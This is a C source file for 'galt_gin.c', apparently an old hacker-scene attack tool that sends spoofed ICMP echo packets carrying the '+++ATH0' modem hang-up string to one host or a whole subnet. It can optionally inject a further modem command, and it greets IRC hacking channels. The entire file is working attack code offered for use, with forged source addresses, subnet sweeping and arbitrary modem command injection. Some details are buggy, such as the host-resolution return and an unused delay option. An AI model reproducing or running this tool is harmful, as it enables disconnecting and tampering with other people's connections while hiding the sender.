/*
 * galt_gin.c by galt (galt@cowofdoom.com)
 *
 * amputee had some very interesting ideas of things to do in his gin.c
 * exploit.  I decided to write something to do those things.
 *
 * this does the gin exploit thingy to one host or a subnet
 * it allows you to specify a command for the modem on the command line
 * stuff 
 * hehe 
 *
 * code/ideas from gin.c, ping.c, and papasmurf-linux.c
 *
 * http://galt.cowofdoom.com/
 *
 * greets or whatever to: DrHamstuh, CowOfDoom, ralf, viralcode,
 *	TripWire, undernet #hackphreak for being really boring hehe,
 *	and undernet #teenchat for being a good place to waste
 *	time sometimes or something hehe
 */

#include <stdio.h>
#include <unistd.h>
#include <errno.h>

#include <netdb.h>

#include <sys/types.h> 
#include <sys/socket.h>

#include <netinet/ip.h>
#include <netinet/ip_icmp.h>

#define DEFDATASIZE 9 // "+++ATH0\r" and the null
#define DEFDELAY 10
#define BUFSIZE 80

char target[BUFSIZE],source[BUFSIZE],thestring[BUFSIZE];
int subnetmode=0;
int datasize=DEFDATASIZE;
int mcommand=0;
int delay=DEFDELAY;

unsigned long doresolve(char *stuff);
static int in_cksum(u_short *addr, int len);
void docmdline(int argc,char **argv);

int main(int argc,char **argv) {
	int tmp;
	unsigned long src,dst;
	
	int sockfd,pktsize;
	char *packet;
	
	struct sockaddr_in sin;
	
	struct iphdr *ip;
	struct icmphdr *icmp;
	char *data;
	
	docmdline(argc,argv);
	
	srand(time(NULL)*getpid());
	
	if(*source)
		src = doresolve(source);
	else
		src = rand();
	dst = doresolve(target);
	
	if( (sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
		fprintf(stderr,"couldnt open raw socket\n");
		exit(1);
	}
	
	sin.sin_port = htons(0);
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = src;
	
	pktsize = sizeof(struct iphdr)+sizeof(struct icmphdr)+datasize;
	
	if( (packet = (char *)malloc(pktsize))==(char *)NULL) {
		fprintf(stderr,"couldnt malloc packet\n");
		exit(1);
	}
	
	ip = (struct iphdr *)packet;
	icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
	data = (char *)(packet + sizeof(struct iphdr)+sizeof(struct icmphdr));
	
	memset(packet,0,pktsize);
	
	ip->version = 4;
	ip->ihl = 5;
	ip->tos = 0;
	ip->tot_len = htons(pktsize);
	ip->id = htons(getpid());
	ip->frag_off = 0;
	ip->ttl = 255;
	ip->protocol = IPPROTO_ICMP;
	ip->check = 0;
	ip->saddr = src;
	ip->daddr = dst;
	
	icmp->type = ICMP_ECHO;
	icmp->code = 0;
	icmp->checksum = 0;
	
	strcpy(data,"+++ATH0\r");
	if(mcommand) {
		strcat(data,thestring);
		strcat(data,"\r");
	}
	
	icmp->checksum = in_cksum((u_short *)icmp,sizeof(struct icmphdr)+datasize);
	
	if(!subnetmode) {
		if( (sendto(sockfd,packet,pktsize,0,(struct sockaddr *)&sin,sizeof(struct sockaddr)) )==-1) {
			printf("sendto failed\n");
		} else {
			printf(".");
		}
	} else {
		for(tmp=0;tmp<256;tmp++) {
			ip->daddr += 1*256*256*256;
			ip->check = 0;
			if( (sendto(sockfd,packet,pktsize,0,(struct sockaddr *)&sin,sizeof(struct sockaddr)) )==-1) {
				printf("sendto failed\n");
				break;
			}
			printf(".");
			fflush(stdout);
		}
	}
	printf("\ndone\n");
	
	return 0;
}

unsigned long doresolve(char *stuff) {
	struct hostent *heh;
	unsigned long hi;
	
	hi = inet_addr(stuff);
	if(hi==-1) {
		heh = gethostbyname(stuff);
		if(!heh) {
			fprintf(stderr,"I can't resolve \"%s\"\n",stuff);
			exit(1);
		}
		return (unsigned long)heh->h_addr;
	}
	return hi;
}

/*
 * in_cksum --
 *	Checksum routine for Internet Protocol family headers (C Version)
 */
static int
in_cksum(u_short *addr, int len)
{
	register int nleft = len;
	register u_short *w = addr;
	register int sum = 0;
	u_short answer = 0;

	/*
	 * Our algorithm is simple, using a 32 bit accumulator (sum), we add
	 * sequential 16 bit words to it, and at the end, fold back all the
	 * carry bits from the top 16 bits into the lower 16 bits.
	 */
	while (nleft > 1)  {
		sum += *w++;
		nleft -= 2;
	}

	/* mop up an odd byte, if necessary */
	if (nleft == 1) {
		*(u_char *)(&answer) = *(u_char *)w ;
		sum += answer;
	}

	/* add back carry outs from top 16 bits to low 16 bits */
	sum = (sum >> 16) + (sum & 0xffff);	/* add hi 16 to low 16 */
	sum += (sum >> 16);			/* add carry */
	answer = ~sum;				/* truncate to 16 bits */
	return(answer);
}

void docmdline(int argc,char **argv) {
	int optch,showhelp=0,stuff=0;
	static char optstring[] = "S:shm:d:";
	
	while( (optch = getopt(argc,argv,optstring))!= -1)
		switch(optch) {
			case 'S':
				if(strlen(optarg)>BUFSIZE-1) {
					fprintf(stderr,"source can only be %d characters\n",BUFSIZE);
					exit(1);
				}
				strcpy(source,optarg);
			break;
			
			case 's':
				subnetmode=1;
			break;
			
			case 'm':
				mcommand=1;
				if(strlen(optarg)>BUFSIZE-1) {
					fprintf(stderr,"command can only be %d characters\n",BUFSIZE);
					exit(1);
				}
				strcpy(thestring,optarg);
				datasize += strlen(thestring)+2;
			break;
			
			case 'd':	
				delay = strtol(optarg,(char **)NULL,10);
				if(errno==ERANGE) {
					fprintf(stderr,"bogus delay value (using default)\n");
					delay = DEFDELAY;
				}
			break;
				
			case 'h':
				showhelp=1;
			break;
			
			default:
		}
	
	for (; optind < argc; ++optind)
	{
		stuff=1;
		if(strlen(argv[optind])>BUFSIZE-3) { // for ".0"
			fprintf(stderr,"source can only be %d characters\n",BUFSIZE);
			exit(1);
		}
		strcpy(target,argv[optind]);
		if(subnetmode)
			strcat(target,".0");
	}
	
	if(!stuff) showhelp=1;
	
	if(showhelp) {
		printf("usage: gin [-S <source host>] [-s] [-m <command] [-d <delay>] <dest>\n");
   		printf("\t -S specfies a source host (defaults to random)\n");
    		printf("\t -s turns on subnet mode, dest is interpreted as a class c (1.2.3)\n");
		printf("\t -m adds another modem command after the hang up\n");
		printf("\t -d delay in ms between sent packets\n");
		exit(0);
	}
	
}